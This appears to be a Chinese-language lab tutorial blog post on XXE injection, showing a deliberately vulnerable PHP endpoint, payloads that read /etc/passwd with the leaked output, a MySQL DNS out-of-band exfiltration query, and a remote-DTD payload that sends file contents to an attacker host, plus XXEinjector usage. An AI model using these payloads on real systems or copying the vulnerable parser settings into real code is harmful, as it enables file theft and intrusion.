欢迎扫码关注微信公众号
在这里插入图片描述

文章参考自:https://depthsecurity.com/blog/exploitation-xml-external-entity-xxe-injection

(需要jump out of the wall)

环境搭建(docker)

https://blog.csdn.net/MasonQAQ/article/details/78048112

XXE----->XML External Entity

外部XML实体

这个概念是在xml1.0中定义的,比如下面这个XML文件:

<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [ <!ELEMENT foo ANY >
<!ENTITY xxe SYSTEM "file:///etc/passwd" >]>
<creds>
    <user>&xxe;</user>
    <pass>mypass</pass>
</creds>

使用System标识符进行声明,下面再出现xxe的地方就会被替换成/etc/passwd的内容,使用&进行引用

实例子:

xml_injectable.php:

<?php 
    libxml_disable_entity_loader (false); 
    $xmlfile = file_get_contents('php://input'); 
    $dom = new DOMDocument(); 
    $dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD); 
    $creds = simplexml_import_dom($dom); 
    $user = $creds->user; 
    $pass = $creds->pass; 
    echo "You have logged in as user $user";
?> 

xml.txt:

<creds>
    <user>Ed</user>
    <pass>mypass</pass>
</creds>

使用curlxml_injectable.php发起POST请求:

curl -d @xml.txt http://localhost/xml_injectable.php

前面的这个**@**是为了不显示返回的HTML源代码

页面返回结果为:

curl -d @xml.txt http://144.34.164.217/xml_injectable.php

You have logged in as user

现在我们改变xml文件的内容,引入外部实体(远程主机上面的文件)

injector.xml:

<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [ <!ELEMENT foo ANY >
<!ENTITY xxe SYSTEM "file:///etc/passwd" >]>
<creds>
    <user>&xxe;</user>
    <pass>mypass</pass>
</creds>

标签的内容会被替换为/etc/passwd中的内容

返回结果为:

x@123-PC:~$ curl -d @injector.xml http://144.34.164.217/xml_injectable.php

 You have logged in as user root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
libuuid:x:100:101::/var/lib/libuuid:
syslog:x:101:104::/home/syslog:/bin/false
mysql:x:102:106:MySQL Server,,,:/nonexistent:/bin/false

burp的scanner模块中有xxe注入的检测模块

在这里插入图片描述

XXEinjector

项目地址:

https://github.com/enjoiz/XXEinjector

下面我们来解释一下XXEinjector是如何工作的

和burp的检测模块相比,XXEinjector的操作稍有不同

在上面的守住过程和burp的检测过程中,我们的目标都把外部实体进行了回显,但是在实际的场景中,发生这种事情的概率是很小的,大部分情况下是没有直接回显的,这时候,我们就需要利用带外的方式来查看返回的数据了

DNS外带通信在盲注中的作用

我们顺便稍微说一下DNS带外通信获取数据

我们经常会遇到mysql的盲注,如果是时间盲注,会非常的耗时间,在这种场景下,我们就可以利用DNS查询来大大地加快获取数据的速度,我们知道,在正常情况下,mysql的链接url是这种形式:

\\xxx.xxx.xxx.xxx\dbname

所以我们只要构造一个这样的东西就行了,将xxx.xxx.xxx.xxx替换成一个我们可以查看查询记录的域名,这里我们使用burpBurp Collaborator client模块

在这里插入图片描述
在这里插入图片描述

burp给我们提供的域名复制到粘贴板,下面进行测试:

我们利用的前提是file_priv的值不能是NULL

mysql> show variables like 'secure_file_priv';
+------------------+-------+
| Variable_name    | Value |
+------------------+-------+
| secure_file_priv |       |
+------------------+-------+
1 row in set (0.00 sec)

这个可以通过在mysql的配置文件中添加一行secure_file_priv=空格就行,主要是为了保证我们能使用load_file

mysql> select load_file(concat('\\\\', version(),'.punqqyzo4srjx5c2icr8rbqrui08ox.burpcollaborator.net\\abc'));
+--------------------------------------------------------------------------------------------------+
| load_file(concat('\\\\', version(),'.punqqyzo4srjx5c2icr8rbqrui08ox.burpcollaborator.net\\abc')) |
+--------------------------------------------------------------------------------------------------+
| NULL                                                                                             |
+--------------------------------------------------------------------------------------------------+
1 row in set (23.60 sec)

punqqyzo4srjx5c2icr8rbqrui08ox.burpcollaborator.net是刚才复制到粘贴板中的域名,mysql在尝试加载数据的时候,会触发DNS查询,然后我们点击poll now,就能看到查询记录,mysql的版本被拼接到了查询的域名的最低级的位置:

在这里插入图片描述

xml注入中,使用这项技术要求受害者需要与攻击者链接,这就意味着我们会遇到端口被过滤的问题XXEinjector为我们提供了一个选项--enumports,会为我们枚举出可以使用的port

XXEinjector原理

首先,XXEinjector会提交一个这样的请求:

 POST /xml_injectable.php HTTP/1.1
 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.11; rv:49.0) Gecko/20100101 Firefox/49.0
 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
 Accept-Language: en-US,en;q=0.5
 Accept-Encoding: gzip, deflate
 Connection: close
 Upgrade-Insecure-Requests: 1
 Content-Length: 158
 Host: 192.168.242.139
 Content-Type: application/x-www-form-urlencoded
 <!DOCTYPE convert [ <!ENTITY % remote SYSTEM "http://192.168.240.1:80/file.dtd">%remote;%int;%trick;]>
 <creds>
     <user>blah</user>
     <pass>mypass</pass>
 </creds>

我们的payload主要就是下面这一段代码:

<!DOCTYPE convert [ <!ENTITY % remote SYSTEM "http://192.168.240.1:80/file.dtd">%remote;%int;%trick;]>

他会要求受害者请求远程主机的192.168.240.1:80/file.dtd,然后我们再看远程主机中的file.dtd中的内容:

<!ENTITY % payl SYSTEM "file:///etc/passwd">
<!ENTITY % int "<!ENTITY % trick SYSTEM
'http://192.168.240.1:80/?p=%payl;'>"> 

xml中的dtd文件就是用来定义每个节点的:https://www.w3schools.com/xml/xml_dtd.asp

这里把上面没有定义的inttrick也给补充了上去,payl被替换成受害者主机的本地文件/etc/passwd的内容,trick被定义在了int的里面,trick会像我们的攻击机发起一个get请求,将/etc/passwd的内容传上去,然后XXeinjector会把它保存成一个文件存在我们的攻击机上,这样一来,就算受害者的XXE漏洞没有回显,我们依然可以得到他的敏感文件

使用方法:

 ruby XXEinjector.rb --host=192.168.240.1 --path=/etc/passwd --file=phprequest.txt --proxy=192.168.240.1:8080 --oob=http --verbose --phpfilter
  • host参数指定目标主机

  • path参数指定要读取的文件

  • file参数指定我们的原始payload,还没有被修改(不包含恶意代码),格式如下:

    POST /xml_injectable.php HTTP/1.1
    Host: 192.168.242.139
    User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.11; rv:49.0) Gecko/20100101 Firefox/49.0
    Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
    Accept-Language: en-US,en;q=0.5
    Accept-Encoding: gzip, deflate
    Connection: close
    Upgrade-Insecure-Requests: 1
    
    XXEINJECT
    
    <creds>
    <user>blah</user>
    <pass>mypass</pass>
    </creds>
    

    使用XXEINJECT指定恶意代码的位置

  • proxy参数指定代理,这个不是强制性的参数,主要使用来隐藏供给者的身份

  • phpfilter参数用于将http://192.168.240.1:80/?p=%paylp后面的参数进行base64转码,不然直接以http://192.168.240.1:80/?p=/etc/passwd的形式传输数据会出错

关于php://filter/read=convert.base64-encode/resource=file:///etc/passwd的解释:https://www.idontplaydarts.com/2011/02/using-php-filter-for-local-file-inclusion/

注意事项

在使用XXEinjector.rb脚本时,我们的phprequests.txt需要在最后有一个空行,不然会报错

Logo

权威|前沿|技术|干货|国内首个API全生命周期开发者社区

更多推荐